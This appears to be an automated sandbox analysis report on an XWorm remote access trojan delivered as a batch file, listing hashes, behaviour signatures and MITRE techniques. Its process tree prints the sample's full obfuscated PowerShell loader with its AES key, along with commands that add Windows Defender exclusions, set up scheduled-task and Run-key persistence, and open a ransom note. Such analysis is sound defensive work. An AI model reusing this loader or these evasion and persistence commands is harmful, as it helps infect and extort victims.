xworm | ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c

Resubmissions

04-09-2024 03:02

240904-djne2svhpa 10

04-09-2024 03:01

04-09-2024 01:09

03-09-2024 23:53

03-09-2024 23:29

03-09-2024 23:26

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03-09-2024 23:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

XClient.bat
Size

320KB
MD5

e0d59aedb927f0aad0b47eab247e5fbc
SHA1

8abe8db8e344729b0f78d83e540b17a31893ed92
SHA256

ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c
SHA512

7459cba2a54a2e26e7464f9f4863b1fedb63cfa80ed2261ee69fd9c268c5d6bb54a4d01368d7ed987387016d786fb115f84afe97e192545b1f860b020c805e97
SSDEEP

6144:HQIYl64Q3Gx/E7X3YIzsUW4MN2nwaF0FbD/VdFzqEE/jeT3/:HQIh77X3t6+4VdFzoW/

Score

10^/10

xworm discovery execution persistence ransomware rat trojan

Malware Config

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/440-49-0x00000132D3390000-0x00000132D33EA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
14	440	powershell.exe
21	440	powershell.exe
55	440	powershell.exe
61	440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3084	powershell.exe
4044	powershell.exe
3632	powershell.exe
3896	powershell.exe
4544	powershell.exe
4668	powershell.exe
440	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3640	System User

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System User = "C:\\Users\\Admin\\AppData\\Roaming\\System User"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XBackground.bmp"	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4324	schtasks.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
4544	powershell.exe
4544	powershell.exe
4668	powershell.exe
4668	powershell.exe
440	powershell.exe
440	powershell.exe
3084	powershell.exe
3084	powershell.exe
4044	powershell.exe
4044	powershell.exe
3632	powershell.exe
3632	powershell.exe
3896	powershell.exe
3896	powershell.exe
440	powershell.exe
3344	msedge.exe
3344	msedge.exe
4860	msedge.exe
4860	msedge.exe
4804	identity_helper.exe
4804	identity_helper.exe
3640	System User
3640	System User
3640	System User
1116	powershell.exe
1116	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeIncreaseQuotaPrivilege	4668	powershell.exe
Token: SeSecurityPrivilege	4668	powershell.exe
Token: SeTakeOwnershipPrivilege	4668	powershell.exe
Token: SeLoadDriverPrivilege	4668	powershell.exe
Token: SeSystemProfilePrivilege	4668	powershell.exe
Token: SeSystemtimePrivilege	4668	powershell.exe
Token: SeProfSingleProcessPrivilege	4668	powershell.exe
Token: SeIncBasePriorityPrivilege	4668	powershell.exe
Token: SeCreatePagefilePrivilege	4668	powershell.exe
Token: SeBackupPrivilege	4668	powershell.exe
Token: SeRestorePrivilege	4668	powershell.exe
Token: SeShutdownPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeSystemEnvironmentPrivilege	4668	powershell.exe
Token: SeRemoteShutdownPrivilege	4668	powershell.exe
Token: SeUndockPrivilege	4668	powershell.exe
Token: SeManageVolumePrivilege	4668	powershell.exe
Token: 33	4668	powershell.exe
Token: 34	4668	powershell.exe
Token: 35	4668	powershell.exe
Token: 36	4668	powershell.exe
Token: SeIncreaseQuotaPrivilege	4668	powershell.exe
Token: SeSecurityPrivilege	4668	powershell.exe
Token: SeTakeOwnershipPrivilege	4668	powershell.exe
Token: SeLoadDriverPrivilege	4668	powershell.exe
Token: SeSystemProfilePrivilege	4668	powershell.exe
Token: SeSystemtimePrivilege	4668	powershell.exe
Token: SeProfSingleProcessPrivilege	4668	powershell.exe
Token: SeIncBasePriorityPrivilege	4668	powershell.exe
Token: SeCreatePagefilePrivilege	4668	powershell.exe
Token: SeBackupPrivilege	4668	powershell.exe
Token: SeRestorePrivilege	4668	powershell.exe
Token: SeShutdownPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeSystemEnvironmentPrivilege	4668	powershell.exe
Token: SeRemoteShutdownPrivilege	4668	powershell.exe
Token: SeUndockPrivilege	4668	powershell.exe
Token: SeManageVolumePrivilege	4668	powershell.exe
Token: 33	4668	powershell.exe
Token: 34	4668	powershell.exe
Token: 35	4668	powershell.exe
Token: 36	4668	powershell.exe
Token: SeIncreaseQuotaPrivilege	4668	powershell.exe
Token: SeSecurityPrivilege	4668	powershell.exe
Token: SeTakeOwnershipPrivilege	4668	powershell.exe
Token: SeLoadDriverPrivilege	4668	powershell.exe
Token: SeSystemProfilePrivilege	4668	powershell.exe
Token: SeSystemtimePrivilege	4668	powershell.exe
Token: SeProfSingleProcessPrivilege	4668	powershell.exe
Token: SeIncBasePriorityPrivilege	4668	powershell.exe
Token: SeCreatePagefilePrivilege	4668	powershell.exe
Token: SeBackupPrivilege	4668	powershell.exe
Token: SeRestorePrivilege	4668	powershell.exe
Token: SeShutdownPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeSystemEnvironmentPrivilege	4668	powershell.exe
Token: SeRemoteShutdownPrivilege	4668	powershell.exe
Token: SeUndockPrivilege	4668	powershell.exe
Token: SeManageVolumePrivilege	4668	powershell.exe
Token: 33	4668	powershell.exe
Token: 34	4668	powershell.exe
Token: 35	4668	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe
4860	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
440	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3816 wrote to memory of 656	3816	cmd.exe	84
PID 3816 wrote to memory of 656	3816	cmd.exe	84
PID 656 wrote to memory of 3308	656	net.exe	85
PID 656 wrote to memory of 3308	656	net.exe	85
PID 3816 wrote to memory of 4544	3816	cmd.exe	89
PID 3816 wrote to memory of 4544	3816	cmd.exe	89
PID 4544 wrote to memory of 4668	4544	powershell.exe	90
PID 4544 wrote to memory of 4668	4544	powershell.exe	90
PID 4544 wrote to memory of 3352	4544	powershell.exe	93
PID 4544 wrote to memory of 3352	4544	powershell.exe	93
PID 3352 wrote to memory of 5092	3352	WScript.exe	94
PID 3352 wrote to memory of 5092	3352	WScript.exe	94
PID 5092 wrote to memory of 4528	5092	cmd.exe	96
PID 5092 wrote to memory of 4528	5092	cmd.exe	96
PID 4528 wrote to memory of 3672	4528	net.exe	97
PID 4528 wrote to memory of 3672	4528	net.exe	97
PID 5092 wrote to memory of 440	5092	cmd.exe	98
PID 5092 wrote to memory of 440	5092	cmd.exe	98
PID 440 wrote to memory of 3084	440	powershell.exe	102
PID 440 wrote to memory of 3084	440	powershell.exe	102
PID 440 wrote to memory of 4044	440	powershell.exe	104
PID 440 wrote to memory of 4044	440	powershell.exe	104
PID 440 wrote to memory of 3632	440	powershell.exe	106
PID 440 wrote to memory of 3632	440	powershell.exe	106
PID 440 wrote to memory of 3896	440	powershell.exe	108
PID 440 wrote to memory of 3896	440	powershell.exe	108
PID 440 wrote to memory of 4324	440	powershell.exe	111
PID 440 wrote to memory of 4324	440	powershell.exe	111
PID 440 wrote to memory of 4860	440	powershell.exe	118
PID 440 wrote to memory of 4860	440	powershell.exe	118
PID 4860 wrote to memory of 3740	4860	msedge.exe	119
PID 4860 wrote to memory of 3740	4860	msedge.exe	119
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120
PID 4860 wrote to memory of 4240	4860	msedge.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3816
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:3308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y+qf52DrQiYLUaozbbmw9JavODvF6+9CeZx0/k94u9k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4WB4xmZ2PUqqywaBQpnlmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vfVzQ=New-Object System.IO.MemoryStream(,$param_var); $AjFMf=New-Object System.IO.MemoryStream; $JrhbC=New-Object System.IO.Compression.GZipStream($vfVzQ, [IO.Compression.CompressionMode]::Decompress); $JrhbC.CopyTo($AjFMf); $JrhbC.Dispose(); $vfVzQ.Dispose(); $AjFMf.Dispose(); $AjFMf.ToArray();}function execute_function($param_var,$param2_var){ $AKLYU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eguYy=$AKLYU.EntryPoint; $eguYy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$FsplU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($NLDPG in $FsplU) { if ($NLDPG.StartsWith(':: ')) { $wgQrx=$NLDPG.Substring(3); break; }}$payloads_var=[string[]]$wgQrx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_344_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_344.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4668
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_344.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3352
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_344.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5092
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4528
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:3672
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y+qf52DrQiYLUaozbbmw9JavODvF6+9CeZx0/k94u9k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4WB4xmZ2PUqqywaBQpnlmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vfVzQ=New-Object System.IO.MemoryStream(,$param_var); $AjFMf=New-Object System.IO.MemoryStream; $JrhbC=New-Object System.IO.Compression.GZipStream($vfVzQ, [IO.Compression.CompressionMode]::Decompress); $JrhbC.CopyTo($AjFMf); $JrhbC.Dispose(); $vfVzQ.Dispose(); $AjFMf.Dispose(); $AjFMf.ToArray();}function execute_function($param_var,$param2_var){ $AKLYU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eguYy=$AKLYU.EntryPoint; $eguYy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_344.bat';$FsplU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_344.bat').Split([Environment]::NewLine);foreach ($NLDPG in $FsplU) { if ($NLDPG.StartsWith(':: ')) { $wgQrx=$NLDPG.Substring(3); break; }}$payloads_var=[string[]]$wgQrx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Sets desktop wallpaper using registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:440
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3084
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4044
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3632
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3896
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\AppData\Roaming\System User"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4324
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
        6⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:4860
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa09a046f8,0x7ffa09a04708,0x7ffa09a04718
        7⤵
        
        PID:3740
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
        7⤵
        
        PID:4240
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:3
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3344
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2984 /prefetch:8
        7⤵
        
        PID:3424
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2212 /prefetch:1
        7⤵
        
        PID:336
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
        7⤵
        
        PID:2132
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
        7⤵
        
        PID:3160
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4804
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:1
        7⤵
        
        PID:2792
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4668 /prefetch:1
        7⤵
        
        PID:3632
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4736 /prefetch:1
        7⤵
        
        PID:4388
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:1
        7⤵
        
        PID:2188
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14832166059732234408,11933318438537386840,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2072 /prefetch:1
        7⤵
        
        PID:1564
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1116
        
        C:\Windows\explorer.exe
        
